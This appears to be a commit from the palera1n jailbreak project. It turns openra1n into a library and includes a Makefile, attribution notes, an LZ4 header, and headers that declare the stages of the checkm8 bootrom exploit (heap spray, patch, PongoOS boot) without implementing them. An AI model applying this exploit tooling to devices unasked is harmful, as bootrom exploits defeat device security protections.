refactor: libciderra1n support (#764)

* refactor

refactor: remove wdi

refactor: move openra1n to its own library

refactor: move everything standalone file to src root

* submodule

* okay these shouldnt of been included

* remove

* readd

* fix openra1n libusb

* liteusb for ra1ncovery

* fix action

* token

* whatever lwra bw apwxidix

* I knew this was gonna happen

* fix mac build

* what if this doesnt work

* okay bro

* lzma resources

* rename

* use idevice++, fix multiple devices, enter recovery

* whatever

* fix

* --force-enable-ssv

* improve exploit stuff, mirror tui logic to gui

also cooool logging for libopenra1n

* fix idevice windows build

* lets not be fancy

* new idevice patch

* easier to read

* lets hope this action works!

* remove useless ifs

* not required for non tui

* PLEASE COMPILE

* gsed lmao

* this might work idk

* whatever bro

* ah

* amd fix

* fix ts

* fix

* licensing

* update paleinfo

* LETS NOT do that

* forgot a file
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+65
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RM ?= rm
MKDIR ?= mkdir
CP ?= cp
CC ?= cc
AR ?= ar
ARFLAGS ?= rcs
XXD ?= xxd
SED ?= sed
BUILD := build
SRC := src
INCLUDE := include
OBJDIR = $(SRC)/build
LIBDIR := $(BUILD)/lib
INCDIR := $(BUILD)/include
NAME := openra1n
LIBNAME := lib$(NAME).a
CFLAGS += -I$(INCLUDE) -I$(SRC) -I$(SRC)/gen
SRCS := $(shell find $(SRC) -name '*.c')
OBJS := $(patsubst $(SRC)/%.c,$(OBJDIR)/%.o,$(SRCS))
.PHONY: all payloads library headers clean
all: payloads library headers
payloads:
$(MKDIR) -p $(INCLUDE)/gen/payloads
@for file in payloads/*; do \
name=$$(basename "$$file"); \
name=$${name%.*}; \
echo " XXD $$file"; \
echo "#pragma once" > "$(INCLUDE)/gen/payloads/$$name.h"; \
$(XXD) -i "$$file" \
| $(SED) 's/unsigned char/static const unsigned char/g' \
| $(SED) 's/unsigned int/static const size_t/g' \
>> "$(INCLUDE)/gen/payloads/$$name.h"; \
done
$(OBJDIR)/%.o: $(SRC)/%.c
@$(MKDIR) -p $(dir $@)
$(CC) $(CFLAGS) -c $< -o $@
library: $(OBJS)
$(MKDIR) -p $(LIBDIR)/${NAME}
$(AR) $(ARFLAGS) $(LIBDIR)/${NAME}/$(LIBNAME) $(OBJS)
headers:
$(MKDIR) -p $(INCDIR)/${NAME}
$(CP) $(INCLUDE)/checkm8.h \
$(INCLUDE)/shim.h \
$(INCLUDE)/usb_iokit.h \
$(INCLUDE)/usb_libusb.h \
$(INCLUDE)/dfu.h \
$(INCLUDE)/payload.h \
$(INCLUDE)/utils.h \
$(INCDIR)/${NAME}/
clean:
$(RM) -rf $(BUILD)
$(RM) -rf $(SRC)/$(BUILD)
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Gaster
Copyright (c) 2023 0x7ff
Openra1n
Copyright (c) 2024 Mineek.
Gaster was modified by Mineek to include support for booting PongoOS
payloads, by sending the device into download mode with extracted
stage2 payloads from Checkra1n.
libOpenra1n
Copyright (c) 2026 palera1n team
Openra1n was modified into a importable library for use in palera1n,
(libOpenra1n) along side another checkm8 backend (closed source).
Many changes included are mainly for overall better practices and
readability, like better error handling. Other changes include
more verbose logging, fixes for libusb/iokit, and a ROP generator.
+7
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# openra1n
custom pongoOS booter for checkra1n 1337
## Attributions
- [gaster](https://github.com/0x7ff/gaster) - base of the project
- [checkra1n](https://checkra.in/) - yeah, do i really need to explain this one?
- [ra1npoc15](https://github.com/kok3shidoll/ra1npoc) - payloads
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef LIBOPENRA1N__CHECKM8_H
#define LIBOPENRA1N__CHECKM8_H
#include <stdbool.h>
#include "payload.h"
#include "shim.h"
#define EP0_MAX_PACKET_SZ (0x40)
#define USB_MAX_STRING_DESCRIPTOR_IDX (10)
#ifndef MIN
# define MIN(a, b) ((a) < (b) ? (a) : (b))
#endif
typedef enum {
CHECKM8_ERR_NONE = 0,
CHECKM8_ERR_UNSUPPORTED = 1,
CHECKM8_ERR_TRANSFER_FAILED = 3,
CHECKM8_ERR_TIMEOUT = 4,
CHECKM8_ERR_ABORT = 5,
CHECKM8_ERR_INVALID_PAYLOAD = 15,
CHECKM8_ERR_UNDEFINED = 255,
} checkm8_err_t;
#ifdef __cplusplus
extern "C" {
#endif
char *get_usb_serial_number(usb_handle_t *handle);
checkm8_err_t checkm8_stage_reset(const usb_handle_t *handle);
checkm8_err_t checkm8_stage_setup(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
checkm8_err_t checkm8_stage_spray(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig);
checkm8_err_t checkm8_stage_patch(const usb_handle_t *handle, struct DeviceConfiguration *deviceConfig, struct PayloadConfiguration *payloadConfig);
bool prepare_pongo(uint8_t **out, size_t *out_len, const uint8_t *pongo_bin, size_t pongo_bin_len);
checkm8_err_t checkm8_boot_pongo(usb_handle_t *handle, const uint8_t *pongo_bin, size_t pongo_bin_len);
#ifdef __cplusplus
}
#endif
#endif // LIBOPENRA1N__CHECKM8_H
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/*
* palera1n - https://palera.in
*
* Copyright (c) 2026 palera1n team
*
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#ifndef LIBOPENRA1N__DFU_H
#define LIBOPENRA1N__DFU_H
#include <stdint.h>
#include <stdbool.h>
#define DFU_DNLOAD 1
#define DFU_UPLOAD 2
#define DFU_GET_STATUS 3
#define DFU_CLR_STATUS 4
#define DFU_GETSTATE 5
#define DFU_ABORT 6
#define DFU_FILE_SUFFIX_LEN 16
#define EP0_MAX_PACKET_SIZE 0x40
#define DFU_MAX_TRANSFER_SZ 0x800
#define DFU_STATUS_OK 0
#define DFU_STATE_MANIFEST_SYNC 6
#define DFU_STATE_MANIFEST 7
#define DFU_STATE_MANIFEST_WAIT_RESET 8
#ifdef __cplusplus
extern "C" {
#endif
uint16_t dfu_serial_number_get_cpid(char *serial);
bool dfu_serial_number_is_in_dfu_mode(char *serial);
bool dfu_serial_number_is_pwned(char *serial);
bool dfu_serial_number_is_in_yolo_dfu(char *serial);
bool device_serial_number_is_in_pongo_os(char *serial);
#ifdef __cplusplus
}
#endif
#endif // LIBOPENRA1N__DFU_H
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/*
* LZ4 - Fast LZ compression algorithm
* Header File
* Copyright (C) 2011-2020, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://www.lz4.org
- LZ4 source repository : https://github.com/lz4/lz4
*/
#if defined (__cplusplus)
extern "C" {
#endif
#ifndef LZ4_H_2983827168210
#define LZ4_H_2983827168210
/* --- Dependency --- */
#include <stddef.h> /* size_t */
/**
Introduction
LZ4 is lossless compression algorithm, providing compression speed >500 MB/s per core,
scalable with multi-cores CPU. It features an extremely fast decoder, with speed in
multiple GB/s per core, typically reaching RAM speed limits on multi-core systems.
The LZ4 compression library provides in-memory compression and decompression functions.
It gives full buffer control to user.
Compression can be done in:
- a single step (described as Simple Functions)
- a single step, reusing a context (described in Advanced Functions)
- unbounded multiple steps (described as Streaming compression)
lz4.h generates and decodes LZ4-compressed blocks (doc/lz4_Block_format.md).
Decompressing such a compressed block requires additional metadata.
Exact metadata depends on exact decompression function.
For the typical case of LZ4_decompress_safe(),
metadata includes block's compressed size, and maximum bound of decompressed size.
Each application is free to encode and pass such metadata in whichever way it wants.
lz4.h only handle blocks, it can not generate Frames.
Blocks are different from Frames (doc/lz4_Frame_format.md).
Frames bundle both blocks and metadata in a specified manner.
Embedding metadata is required for compressed data to be self-contained and portable.
Frame format is delivered through a companion API, declared in lz4frame.h.
The `lz4` CLI can only manage frames.
*/
/*^***************************************************************
* Export parameters
*****************************************************************/
/*
* LZ4_DLL_EXPORT :
* Enable exporting of functions when building a Windows DLL
* LZ4LIB_VISIBILITY :
* Control library symbols visibility.
*/
#ifndef LZ4LIB_VISIBILITY
# if defined(__GNUC__) && (__GNUC__ >= 4)
# define LZ4LIB_VISIBILITY __attribute__ ((visibility ("default")))
# else
# define LZ4LIB_VISIBILITY
# endif
#endif
#if defined(LZ4_DLL_EXPORT) && (LZ4_DLL_EXPORT==1)
# define LZ4LIB_API __declspec(dllexport) LZ4LIB_VISIBILITY
#elif defined(LZ4_DLL_IMPORT) && (LZ4_DLL_IMPORT==1)
# define LZ4LIB_API __declspec(dllimport) LZ4LIB_VISIBILITY /* It isn't required but allows to generate better code, saving a function pointer load from the IAT and an indirect jump.*/
#else
# define LZ4LIB_API LZ4LIB_VISIBILITY
#endif
/*! LZ4_FREESTANDING :
* When this macro is set to 1, it enables "freestanding mode" that is
* suitable for typical freestanding environment which doesn't support
* standard C library.
*
* - LZ4_FREESTANDING is a compile-time switch.
* - It requires the following macros to be defined:
* LZ4_memcpy, LZ4_memmove, LZ4_memset.
* - It only enables LZ4/HC functions which don't use heap.
* All LZ4F_* functions are not supported.
* - See tests/freestanding.c to check its basic setup.
*/
#if defined(LZ4_FREESTANDING) && (LZ4_FREESTANDING == 1)
# define LZ4_HEAPMODE 0
# define LZ4HC_HEAPMODE 0
# define LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION 1
# if !defined(LZ4_memcpy)
# error "LZ4_FREESTANDING requires macro 'LZ4_memcpy'."
# endif
# if !defined(LZ4_memset)
# error "LZ4_FREESTANDING requires macro 'LZ4_memset'."
# endif
# if !defined(LZ4_memmove)
# error "LZ4_FREESTANDING requires macro 'LZ4_memmove'."
# endif
#elif ! defined(LZ4_FREESTANDING)
# define LZ4_FREESTANDING 0
#endif
/*------ Version ------*/
#define LZ4_VERSION_MAJOR 1 /* for breaking interface changes */
#define LZ4_VERSION_MINOR 9 /* for new (non-breaking) interface capabilities */
#define LZ4_VERSION_RELEASE 4 /* for tweaks, bug-fixes, or development */
#define LZ4_VERSION_NUMBER (LZ4_VERSION_MAJOR *100*100 + LZ4_VERSION_MINOR *100 + LZ4_VERSION_RELEASE)
#define LZ4_LIB_VERSION LZ4_VERSION_MAJOR.LZ4_VERSION_MINOR.LZ4_VERSION_RELEASE
#define LZ4_QUOTE(str) #str
#define LZ4_EXPAND_AND_QUOTE(str) LZ4_QUOTE(str)
#define LZ4_VERSION_STRING LZ4_EXPAND_AND_QUOTE(LZ4_LIB_VERSION) /* requires v1.7.3+ */
LZ4LIB_API int LZ4_versionNumber (void); /**< library version number; useful to check dll version; requires v1.3.0+ */
LZ4LIB_API const char* LZ4_versionString (void); /**< library version string; useful to check dll version; requires v1.7.5+ */
/*-************************************
* Tuning parameter
**************************************/
#define LZ4_MEMORY_USAGE_MIN 10
#define LZ4_MEMORY_USAGE_DEFAULT 14
#define LZ4_MEMORY_USAGE_MAX 20
/*!
* LZ4_MEMORY_USAGE :
* Memory usage formula : N->2^N Bytes (examples : 10 -> 1KB; 12 -> 4KB ; 16 -> 64KB; 20 -> 1MB; )
* Increasing memory usage improves compression ratio, at the cost of speed.
* Reduced memory usage may improve speed at the cost of ratio, thanks to better cache locality.
* Default value is 14, for 16KB, which nicely fits into Intel x86 L1 cache
*/
#ifndef LZ4_MEMORY_USAGE
# define LZ4_MEMORY_USAGE LZ4_MEMORY_USAGE_DEFAULT
#endif
#if (LZ4_MEMORY_USAGE < LZ4_MEMORY_USAGE_MIN)
# error "LZ4_MEMORY_USAGE is too small !"
#endif
#if (LZ4_MEMORY_USAGE > LZ4_MEMORY_USAGE_MAX)
# error "LZ4_MEMORY_USAGE is too large !"
#endif
/*-************************************
* Simple Functions
**************************************/
/*! LZ4_compress_default() :
* Compresses 'srcSize' bytes from buffer 'src'
* into already allocated 'dst' buffer of size 'dstCapacity'.
* Compression is guaranteed to succeed if 'dstCapacity' >= LZ4_compressBound(srcSize).
* It also runs faster, so it's a recommended setting.
* If the function cannot compress 'src' into a more limited 'dst' budget,
* compression stops *immediately*, and the function result is zero.
* In which case, 'dst' content is undefined (invalid).
* srcSize : max supported value is LZ4_MAX_INPUT_SIZE.
* dstCapacity : size of buffer 'dst' (which must be already allocated)
* @return : the number of bytes written into buffer 'dst' (necessarily <= dstCapacity)
* or 0 if compression fails
* Note : This function is protected against buffer overflow scenarios (never writes outside 'dst' buffer, nor read outside 'source' buffer).
*/
LZ4LIB_API int LZ4_compress_default(const char* src, char* dst, int srcSize, int dstCapacity);
/*! LZ4_decompress_safe() :
* @compressedSize : is the exact complete size of the compressed block.
* @dstCapacity : is the size of destination buffer (which must be already allocated),
* is an upper bound of decompressed size.
* @return : the number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
* Note 1 : This function is protected against malicious data packets :
* it will never writes outside 'dst' buffer, nor read outside 'source' buffer,
* even if the compressed block is maliciously modified to order the decoder to do these actions.
* In such case, the decoder stops immediately, and considers the compressed block malformed.
* Note 2 : compressedSize and dstCapacity must be provided to the function, the compressed block does not contain them.
* The implementation is free to send / store / derive this information in whichever way is most beneficial.
* If there is a need for a different format which bundles together both compressed data and its metadata, consider looking at lz4frame.h instead.
*/
LZ4LIB_API int LZ4_decompress_safe (const char* src, char* dst, int compressedSize, int dstCapacity);
/*-************************************
* Advanced Functions
**************************************/
#define LZ4_MAX_INPUT_SIZE 0x7E000000 /* 2 113 929 216 bytes */
#define LZ4_COMPRESSBOUND(isize) ((unsigned)(isize) > (unsigned)LZ4_MAX_INPUT_SIZE ? 0 : (isize) + ((isize)/255) + 16)
/*! LZ4_compressBound() :
Provides the maximum size that LZ4 compression may output in a "worst case" scenario (input data not compressible)
This function is primarily useful for memory allocation purposes (destination buffer size).
Macro LZ4_COMPRESSBOUND() is also provided for compilation-time evaluation (stack memory allocation for example).
Note that LZ4_compress_default() compresses faster when dstCapacity is >= LZ4_compressBound(srcSize)
inputSize : max supported value is LZ4_MAX_INPUT_SIZE
return : maximum output size in a "worst case" scenario
or 0, if input size is incorrect (too large or negative)
*/
LZ4LIB_API int LZ4_compressBound(int inputSize);
/*! LZ4_compress_fast() :
Same as LZ4_compress_default(), but allows selection of "acceleration" factor.
The larger the acceleration value, the faster the algorithm, but also the lesser the compression.
It's a trade-off. It can be fine tuned, with each successive value providing roughly +~3% to speed.
An acceleration value of "1" is the same as regular LZ4_compress_default()
Values <= 0 will be replaced by LZ4_ACCELERATION_DEFAULT (currently == 1, see lz4.c).
Values > LZ4_ACCELERATION_MAX will be replaced by LZ4_ACCELERATION_MAX (currently == 65537, see lz4.c).
*/
LZ4LIB_API int LZ4_compress_fast (const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_compress_fast_extState() :
* Same as LZ4_compress_fast(), using an externally allocated memory space for its state.
* Use LZ4_sizeofState() to know how much memory must be allocated,
* and allocate it on 8-bytes boundaries (using `malloc()` typically).
* Then, provide this buffer as `void* state` to compression function.
*/
LZ4LIB_API int LZ4_sizeofState(void);
LZ4LIB_API int LZ4_compress_fast_extState (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_compress_destSize() :
* Reverse the logic : compresses as much data as possible from 'src' buffer
* into already allocated buffer 'dst', of size >= 'targetDestSize'.
* This function either compresses the entire 'src' content into 'dst' if it's large enough,
* or fill 'dst' buffer completely with as much data as possible from 'src'.
* note: acceleration parameter is fixed to "default".
*
* *srcSizePtr : will be modified to indicate how many bytes where read from 'src' to fill 'dst'.
* New value is necessarily <= input value.
* @return : Nb bytes written into 'dst' (necessarily <= targetDestSize)
* or 0 if compression fails.
*
* Note : from v1.8.2 to v1.9.1, this function had a bug (fixed un v1.9.2+):
* the produced compressed content could, in specific circumstances,
* require to be decompressed into a destination buffer larger
* by at least 1 byte than the content to decompress.
* If an application uses `LZ4_compress_destSize()`,
* it's highly recommended to update liblz4 to v1.9.2 or better.
* If this can't be done or ensured,
* the receiving decompression function should provide
* a dstCapacity which is > decompressedSize, by at least 1 byte.
* See https://github.com/lz4/lz4/issues/859 for details
*/
LZ4LIB_API int LZ4_compress_destSize (const char* src, char* dst, int* srcSizePtr, int targetDstSize);
/*! LZ4_decompress_safe_partial() :
* Decompress an LZ4 compressed block, of size 'srcSize' at position 'src',
* into destination buffer 'dst' of size 'dstCapacity'.
* Up to 'targetOutputSize' bytes will be decoded.
* The function stops decoding on reaching this objective.
* This can be useful to boost performance
* whenever only the beginning of a block is required.
*
* @return : the number of bytes decoded in `dst` (necessarily <= targetOutputSize)
* If source stream is detected malformed, function returns a negative result.
*
* Note 1 : @return can be < targetOutputSize, if compressed block contains less data.
*
* Note 2 : targetOutputSize must be <= dstCapacity
*
* Note 3 : this function effectively stops decoding on reaching targetOutputSize,
* so dstCapacity is kind of redundant.
* This is because in older versions of this function,
* decoding operation would still write complete sequences.
* Therefore, there was no guarantee that it would stop writing at exactly targetOutputSize,
* it could write more bytes, though only up to dstCapacity.
* Some "margin" used to be required for this operation to work properly.
* Thankfully, this is no longer necessary.
* The function nonetheless keeps the same signature, in an effort to preserve API compatibility.
*
* Note 4 : If srcSize is the exact size of the block,
* then targetOutputSize can be any value,
* including larger than the block's decompressed size.
* The function will, at most, generate block's decompressed size.
*
* Note 5 : If srcSize is _larger_ than block's compressed size,
* then targetOutputSize **MUST** be <= block's decompressed size.
* Otherwise, *silent corruption will occur*.
*/
LZ4LIB_API int LZ4_decompress_safe_partial (const char* src, char* dst, int srcSize, int targetOutputSize, int dstCapacity);
/*-*********************************************
* Streaming Compression Functions
***********************************************/
typedef union LZ4_stream_u LZ4_stream_t; /* incomplete type (defined later) */
/**
Note about RC_INVOKED
- RC_INVOKED is predefined symbol of rc.exe (the resource compiler which is part of MSVC/Visual Studio).
https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros
- Since rc.exe is a legacy compiler, it truncates long symbol (> 30 chars)
and reports warning "RC4011: identifier truncated".
- To eliminate the warning, we surround long preprocessor symbol with
"#if !defined(RC_INVOKED) ... #endif" block that means
"skip this block when rc.exe is trying to read it".
*/
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
LZ4LIB_API LZ4_stream_t* LZ4_createStream(void);
LZ4LIB_API int LZ4_freeStream (LZ4_stream_t* streamPtr);
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
#endif
/*! LZ4_resetStream_fast() : v1.9.0+
* Use this to prepare an LZ4_stream_t for a new chain of dependent blocks
* (e.g., LZ4_compress_fast_continue()).
*
* An LZ4_stream_t must be initialized once before usage.
* This is automatically done when created by LZ4_createStream().
* However, should the LZ4_stream_t be simply declared on stack (for example),
* it's necessary to initialize it first, using LZ4_initStream().
*
* After init, start any new stream with LZ4_resetStream_fast().
* A same LZ4_stream_t can be re-used multiple times consecutively
* and compress multiple streams,
* provided that it starts each new stream with LZ4_resetStream_fast().
*
* LZ4_resetStream_fast() is much faster than LZ4_initStream(),
* but is not compatible with memory regions containing garbage data.
*
* Note: it's only useful to call LZ4_resetStream_fast()
* in the context of streaming compression.
* The *extState* functions perform their own resets.
* Invoking LZ4_resetStream_fast() before is redundant, and even counterproductive.
*/
LZ4LIB_API void LZ4_resetStream_fast (LZ4_stream_t* streamPtr);
/*! LZ4_loadDict() :
* Use this function to reference a static dictionary into LZ4_stream_t.
* The dictionary must remain available during compression.
* LZ4_loadDict() triggers a reset, so any previous data will be forgotten.
* The same dictionary will have to be loaded on decompression side for successful decoding.
* Dictionary are useful for better compression of small data (KB range).
* While LZ4 accept any input as dictionary,
* results are generally better when using Zstandard's Dictionary Builder.
* Loading a size of 0 is allowed, and is the same as reset.
* @return : loaded dictionary size, in bytes (necessarily <= 64 KB)
*/
LZ4LIB_API int LZ4_loadDict (LZ4_stream_t* streamPtr, const char* dictionary, int dictSize);
/*! LZ4_compress_fast_continue() :
* Compress 'src' content using data from previously compressed blocks, for better compression ratio.
* 'dst' buffer must be already allocated.
* If dstCapacity >= LZ4_compressBound(srcSize), compression is guaranteed to succeed, and runs faster.
*
* @return : size of compressed block
* or 0 if there is an error (typically, cannot fit into 'dst').
*
* Note 1 : Each invocation to LZ4_compress_fast_continue() generates a new block.
* Each block has precise boundaries.
* Each block must be decompressed separately, calling LZ4_decompress_*() with relevant metadata.
* It's not possible to append blocks together and expect a single invocation of LZ4_decompress_*() to decompress them together.
*
* Note 2 : The previous 64KB of source data is __assumed__ to remain present, unmodified, at same address in memory !
*
* Note 3 : When input is structured as a double-buffer, each buffer can have any size, including < 64 KB.
* Make sure that buffers are separated, by at least one byte.
* This construction ensures that each block only depends on previous block.
*
* Note 4 : If input buffer is a ring-buffer, it can have any size, including < 64 KB.
*
* Note 5 : After an error, the stream status is undefined (invalid), it can only be reset or freed.
*/
LZ4LIB_API int LZ4_compress_fast_continue (LZ4_stream_t* streamPtr, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_saveDict() :
* If last 64KB data cannot be guaranteed to remain available at its current memory location,
* save it into a safer place (char* safeBuffer).
* This is schematically equivalent to a memcpy() followed by LZ4_loadDict(),
* but is much faster, because LZ4_saveDict() doesn't need to rebuild tables.
* @return : saved dictionary size in bytes (necessarily <= maxDictSize), or 0 if error.
*/
LZ4LIB_API int LZ4_saveDict (LZ4_stream_t* streamPtr, char* safeBuffer, int maxDictSize);
/*-**********************************************
* Streaming Decompression Functions
* Bufferless synchronous API
************************************************/
typedef union LZ4_streamDecode_u LZ4_streamDecode_t; /* tracking context */
/*! LZ4_createStreamDecode() and LZ4_freeStreamDecode() :
* creation / destruction of streaming decompression tracking context.
* A tracking context can be re-used multiple times.
*/
#if !defined(RC_INVOKED) /* https://docs.microsoft.com/en-us/windows/win32/menurc/predefined-macros */
#if !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION)
LZ4LIB_API LZ4_streamDecode_t* LZ4_createStreamDecode(void);
LZ4LIB_API int LZ4_freeStreamDecode (LZ4_streamDecode_t* LZ4_stream);
#endif /* !defined(LZ4_STATIC_LINKING_ONLY_DISABLE_MEMORY_ALLOCATION) */
#endif
/*! LZ4_setStreamDecode() :
* An LZ4_streamDecode_t context can be allocated once and re-used multiple times.
* Use this function to start decompression of a new stream of blocks.
* A dictionary can optionally be set. Use NULL or size 0 for a reset order.
* Dictionary is presumed stable : it must remain accessible and unmodified during next decompression.
* @return : 1 if OK, 0 if error
*/
LZ4LIB_API int LZ4_setStreamDecode (LZ4_streamDecode_t* LZ4_streamDecode, const char* dictionary, int dictSize);
/*! LZ4_decoderRingBufferSize() : v1.8.2+
* Note : in a ring buffer scenario (optional),
* blocks are presumed decompressed next to each other
* up to the moment there is not enough remaining space for next block (remainingSize < maxBlockSize),
* at which stage it resumes from beginning of ring buffer.
* When setting such a ring buffer for streaming decompression,
* provides the minimum size of this ring buffer
* to be compatible with any source respecting maxBlockSize condition.
* @return : minimum ring buffer size,
* or 0 if there is an error (invalid maxBlockSize).
*/
LZ4LIB_API int LZ4_decoderRingBufferSize(int maxBlockSize);
#define LZ4_DECODER_RING_BUFFER_SIZE(maxBlockSize) (65536 + 14 + (maxBlockSize)) /* for static allocation; maxBlockSize presumed valid */
/*! LZ4_decompress_safe_continue() :
* This decoding function allows decompression of consecutive blocks in "streaming" mode.
* The difference with the usual independent blocks is that
* new blocks are allowed to find references into former blocks.
* A block is an unsplittable entity, and must be presented entirely to the decompression function.
* LZ4_decompress_safe_continue() only accepts one block at a time.
* It's modeled after `LZ4_decompress_safe()` and behaves similarly.
*
* @LZ4_streamDecode : decompression state, tracking the position in memory of past data
* @compressedSize : exact complete size of one compressed block.
* @dstCapacity : size of destination buffer (which must be already allocated),
* must be an upper bound of decompressed size.
* @return : number of bytes decompressed into destination buffer (necessarily <= dstCapacity)
* If destination buffer is not large enough, decoding will stop and output an error code (negative value).
* If the source stream is detected malformed, the function will stop decoding and return a negative result.
*
* The last 64KB of previously decoded data *must* remain available and unmodified
* at the memory position where they were previously decoded.
* If less than 64KB of data has been decoded, all the data must be present.
*
* Special : if decompression side sets a ring buffer, it must respect one of the following conditions :
* - Decompression buffer size is _at least_ LZ4_decoderRingBufferSize(maxBlockSize).
* maxBlockSize is the maximum size of any single block. It can have any value > 16 bytes.
* In which case, encoding and decoding buffers do not need to be synchronized.
* Actually, data can be produced by any source compliant with LZ4 format specification, and respecting maxBlockSize.
* - Synchronized mode :
* Decompression buffer size is _exactly_ the same as compression buffer size,
* and follows exactly same update rule (block boundaries at same positions),
* and decoding function is provided with exact decompressed size of each block (exception for last block of the stream),
* _then_ decoding & encoding ring buffer can have any size, including small ones ( < 64 KB).
* - Decompression buffer is larger than encoding buffer, by a minimum of maxBlockSize more bytes.
* In which case, encoding and decoding buffers do not need to be synchronized,
* and encoding ring buffer can have any size, including small ones ( < 64 KB).
*
* Whenever these conditions are not possible,
* save the last 64KB of decoded data into a safe buffer where it can't be modified during decompression,
* then indicate where this data is saved using LZ4_setStreamDecode(), before decompressing next block.
*/
LZ4LIB_API int
LZ4_decompress_safe_continue (LZ4_streamDecode_t* LZ4_streamDecode,
const char* src, char* dst,
int srcSize, int dstCapacity);
/*! LZ4_decompress_safe_usingDict() :
* Works the same as
* a combination of LZ4_setStreamDecode() followed by LZ4_decompress_safe_continue()
* However, it's stateless: it doesn't need any LZ4_streamDecode_t state.
* Dictionary is presumed stable : it must remain accessible and unmodified during decompression.
* Performance tip : Decompression speed can be substantially increased
* when dst == dictStart + dictSize.
*/
LZ4LIB_API int
LZ4_decompress_safe_usingDict(const char* src, char* dst,
int srcSize, int dstCapacity,
const char* dictStart, int dictSize);
/*! LZ4_decompress_safe_partial_usingDict() :
* Behaves the same as LZ4_decompress_safe_partial()
* with the added ability to specify a memory segment for past data.
* Performance tip : Decompression speed can be substantially increased
* when dst == dictStart + dictSize.
*/
LZ4LIB_API int
LZ4_decompress_safe_partial_usingDict(const char* src, char* dst,
int compressedSize,
int targetOutputSize, int maxOutputSize,
const char* dictStart, int dictSize);
#endif /* LZ4_H_2983827168210 */
/*^*************************************
* !!!!!! STATIC LINKING ONLY !!!!!!
***************************************/
/*-****************************************************************************
* Experimental section
*
* Symbols declared in this section must be considered unstable. Their
* signatures or semantics may change, or they may be removed altogether in the
* future. They are therefore only safe to depend on when the caller is
* statically linked against the library.
*
* To protect against unsafe usage, not only are the declarations guarded,
* the definitions are hidden by default
* when building LZ4 as a shared/dynamic library.
*
* In order to access these declarations,
* define LZ4_STATIC_LINKING_ONLY in your application
* before including LZ4's headers.
*
* In order to make their implementations accessible dynamically, you must
* define LZ4_PUBLISH_STATIC_FUNCTIONS when building the LZ4 library.
******************************************************************************/
#ifdef LZ4_STATIC_LINKING_ONLY
#ifndef LZ4_STATIC_3504398509
#define LZ4_STATIC_3504398509
#ifdef LZ4_PUBLISH_STATIC_FUNCTIONS
#define LZ4LIB_STATIC_API LZ4LIB_API
#else
#define LZ4LIB_STATIC_API
#endif
/*! LZ4_compress_fast_extState_fastReset() :
* A variant of LZ4_compress_fast_extState().
*
* Using this variant avoids an expensive initialization step.
* It is only safe to call if the state buffer is known to be correctly initialized already
* (see above comment on LZ4_resetStream_fast() for a definition of "correctly initialized").
* From a high level, the difference is that
* this function initializes the provided state with a call to something like LZ4_resetStream_fast()
* while LZ4_compress_fast_extState() starts with a call to LZ4_resetStream().
*/
LZ4LIB_STATIC_API int LZ4_compress_fast_extState_fastReset (void* state, const char* src, char* dst, int srcSize, int dstCapacity, int acceleration);
/*! LZ4_attach_dictionary() :
* This is an experimental API that allows
* efficient use of a static dictionary many times.
*
* Rather than re-loading the dictionary buffer into a working context before
* each compression, or copying a pre-loaded dictionary's LZ4_stream_t into a
* working LZ4_stream_t, this function introduces a no-copy setup mechanism,
* in which the working stream references the dictionary stream in-place.
*
